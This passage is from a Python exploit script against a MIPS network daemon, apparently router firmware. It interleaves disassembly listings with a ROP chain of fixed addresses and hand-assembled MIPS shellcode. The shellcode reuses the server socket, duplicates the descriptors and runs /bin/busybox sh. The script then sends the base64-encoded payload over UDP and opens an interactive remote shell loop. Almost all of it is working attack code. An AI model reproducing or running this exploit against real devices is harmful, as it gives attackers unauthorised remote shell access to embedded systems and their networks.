.text:004020A4 8F BC 00 18 lw $gp, 0x7C+var_64($sp)
.text:004020A8 8F 99 80 38 la $t9, close
.text:004020AC 03 20 F8 09 jalr $t9 ; close
.text:004020B0 02 00 20 21 move $a0, $s0 # fd
.text:004020B0
.text:004020B4
.text:004020B4 loc_4020B4: # CODE XREF: sub_401DF4+1AC↑j
.text:004020B4 # sub_401DF4+238↑j
.text:004020B4 # sub_401DF4+284↑j
.text:004020B4 8F BF 00 84 lw $ra, 0x7C+var_s8($sp)
.text:004020B8 8F B1 00 80 lw $s1, 0x7C+var_s4($sp)
.text:004020BC 8F B0 00 7C lw $s0, 0x7C+var_s0($sp)
.text:004020C0 03 E0 00 08 jr $ra
.text:004020C4 27 BD 00 88 addiu $sp, 0x88
'''

p3 += b'\x00' * 0x18
p3 += p32(0x41B030) # gp
p3 += b'\x00' * 0x68
p3 += p32(0x00401F98) # ra
'''
.text:00401F98 0C 10 04 F4 jal my_puts
.text:00401F9C 24 84 2C F8 li $a0, aCanTGetHelloSo # "Can't get hello socket\n"
.text:00401F9C
.text:00401FA0 10 00 00 44 b loc_4020B4
.text:00401FA4 00 00 00 00 nop

my_puts
.text:004013D0 addiu $sp, -0x10
.text:004013D4 sw $a1, 0x10+arg_4($sp)
.text:004013D8 sw $a2, 0x10+arg_8($sp)
.text:004013DC sw $a3, 0x10+arg_C($sp)
.text:004013E0 addiu $v0, $sp, 0x10+arg_4
.text:004013E4 sw $v0, 0x10+var_8($sp)
.text:004013E8 addiu $sp, 0x10
.text:004013EC jr $ra
.text:004013F0 nop

loc_4020B4
.text:004020B4 8F BF 00 84 lw $ra, 0x7C+var_s8($sp)
.text:004020B8 8F B1 00 80 lw $s1, 0x7C+var_s4($sp)
.text:004020BC 8F B0 00 7C lw $s0, 0x7C+var_s0($sp)
.text:004020C0 03 E0 00 08 jr $ra
.text:004020C4 27 BD 00 88 addiu $sp, 0x88
'''

p3 += b'\x00' * 0x10
p3 += b'\x10\x00\x00\x30' # b 0xC4
p3 += b'\x00' * 0x68
p3 += p32(0x00413200 - 0xd) # s0
p3 += b'\x00' * 4 # s1
p3 += p32(0x00400C9C) # ra

# 0x00400c9c : lw $gp, 0x10($sp) ; lw $ra, 0x1c($sp) ; jr $ra ; addiu $sp, $sp, 0x20

p3 += b'\x00' * 0x10
p3 += p32(0x41B030) # gp
p3 += b'\x00' * 8
p3 += p32(0x00400F28) # ra
'''
.text:00400F28 AE 02 00 0D sw $v0, 0xD($s0)
.text:00400F28
.text:00400F2C
.text:00400F2C loc_400F2C: # CODE XREF: sub_400E50+CC↑j
.text:00400F2C 8F 82 80 68 la $v0, ifname
.text:00400F30 8C 44 00 00 lw $a0, (ifname - 0x413138)($v0)
.text:00400F34 8F 99 80 8C la $t9, net_get_hwaddr
.text:00400F38 03 20 F8 09 jalr $t9 ; net_get_hwaddr
.text:00400F3C 26 05 00 11 addiu $a1, $s0, 0x11
.text:00400F3C
.text:00400F40 8F BF 00 24 lw $ra, 0x20+var_s4($sp)
.text:00400F44 8F B0 00 20 lw $s0, 0x20+var_s0($sp)
.text:00400F48 03 E0 00 08 jr $ra
.text:00400F4C 27 BD 00 28 addiu $sp, 0x28
'''

p3 += b'\x00' * 0x20
p3 += p32(0x00413200) # s0
p3 += p32(0x004027C8) # ra
'''
.text:004027C0 loc_4027C0: # CODE XREF: sub_402790+3C↓j
.text:004027C0 03 20 F8 09 jalr $t9
.text:004027C4 00 00 00 00 nop
.text:004027C4
.text:004027C8
.text:004027C8 loc_4027C8: # CODE XREF: sub_402790+28↑j
.text:004027C8 8E 19 00 00 lw $t9, 0($s0)
.text:004027CC 17 31 FF FC bne $t9, $s1, loc_4027C0
'''

shellcode = b'\x00' * 0x20
shellcode+= b"\x3C\x1C\x00\x42" # lui $gp, 0x42
shellcode+= b"\x27\x9C\xB0\x30" # addiu $gp, $gp, -0x4fd0
shellcode+= b"\x8F\x82\x80\xB8" # la $v0, server_sockfd
shellcode+= b"\x8C\x44\x00\x00" # lw $a0, (server_sockfd - 0x413134)($v0) # fd
shellcode+= b"\x8F\x85\x80\xF4" # lw $a1, -0x7f0c($gp)
shellcode+= b"\x24\x0c\xff\xef" # li t4,-17 ( addrlen = 16 )
shellcode+= b"\x01\x80\x30\x27" # nor a2,t4,zero
shellcode+= b"\x24\x02\x10\x4a" # li v0,4170 ( sys_connect )
shellcode+= b"\x01\x01\x01\x0c" # syscall 0x40404

shellcode+= b"\x3C\x1C\x00\x42" # lui $gp, 0x42
shellcode+= b"\x27\x9C\xB0\x30" # addiu $gp, $gp, -0x4fd0
shellcode+= b"\x8F\x82\x80\xB8" # la $v0, server_sockfd
shellcode+= b"\x8C\x44\x00\x00" # lw $a0, (server_sockfd - 0x413134)($v0) # fd

shellcode+= b"\x24\x0f\xff\xfd" # li t7,-3
shellcode+= b"\x01\xe0\x28\x27" # nor a1,t7,zero
#shellcode+= b"\x8f\xa4\xff\xff" # lw a0,-1(sp)
shellcode+= b"\x24\x02\x0f\xdf" # li v0,4063 ( sys_dup2 )
shellcode+= b"\x01\x01\x01\x0c" # syscall 0x40404
shellcode+= b"\x20\xa5\xff\xff" # addi a1,a1,-1
shellcode+= b"\x24\x01\xff\xff" # li at,-1
shellcode+= b"\x14\xa1\xff\xfb" # bne a1,at, dup2_loop

# execve /bin/busybox sh
shellcode+= b"\x28\x06\xFF\xFF" # slti $a2, $zero, -1
shellcode+= b"\x3C\x0F\x2F\x62" # lui $t7, 0x2f62
shellcode+= b"\x35\xEF\x69\x6E" # ori $t7, $t7, 0x696e
shellcode+= b"\xAF\xAF\xFF\xDC" # sw $t7, -0x24($sp)
shellcode+= b"\x3C\x0F\x2F\x62" # lui $t7, 0x2f62
shellcode+= b"\x35\xEF\x75\x73" # ori $t7, $t7, 0x7573
shellcode+= b"\xAF\xAF\xFF\xE0" # sw $t7, -0x20($sp)
shellcode+= b"\x3C\x0F\x79\x62" # lui $t7, 0x7962
shellcode+= b"\x35\xEF\x6F\x78" # ori $t7, $t7, 0x6f78
shellcode+= b"\xAF\xAF\xFF\xE4" # sw $t7, -0x1c($sp)
shellcode+= b"\xAF\xA0\xFF\xE8" # sw $zero, -0x18($sp)
shellcode+= b"\x3C\x0F\x73\x68" # lui $t7, 0x7368
shellcode+= b"\xAF\xAF\xFF\xEC" # sw $t7, -0x14($sp)
shellcode+= b"\xAF\xA0\xFF\xF0" # sw $zero, -0x10($sp)
shellcode+= b"\x27\xAF\xFF\xDC" # addiu $t7, $sp, -0x24
shellcode+= b"\xAF\xAF\xFF\xF4" # sw $t7, -0xc($sp)
shellcode+= b"\x27\xAF\xFF\xEC" # addiu $t7, $sp, -0x14
shellcode+= b"\xAF\xAF\xFF\xF8" # sw $t7, -8($sp)
shellcode+= b"\xAF\xA0\xFF\xFC" # sw $zero, -4($sp)
shellcode+= b"\x27\xA4\xFF\xDC" # addiu $a0, $sp, -0x24
shellcode+= b"\x27\xA5\xFF\xF8" # addiu $a1, $sp, -8
shellcode+= b"\x24\x02\x0F\xAB" # addiu $v0, $zero, 0xfab
shellcode+= b"\x01\x01\x01\x0C" # syscall 0x40404

p3 += shellcode

p2 += base64.b64encode(p3)
li(p2)

r.sendto(p2, (ip, port))

while True:
command = input("shell # ")
if not command:
continue
if "exit" in command:
r.close()
break
command += "\n"
r.sendto(command.encode(), (ip, port))
recv_data, recv_addr = r.recvfrom(4096)
li(recv_data.decode())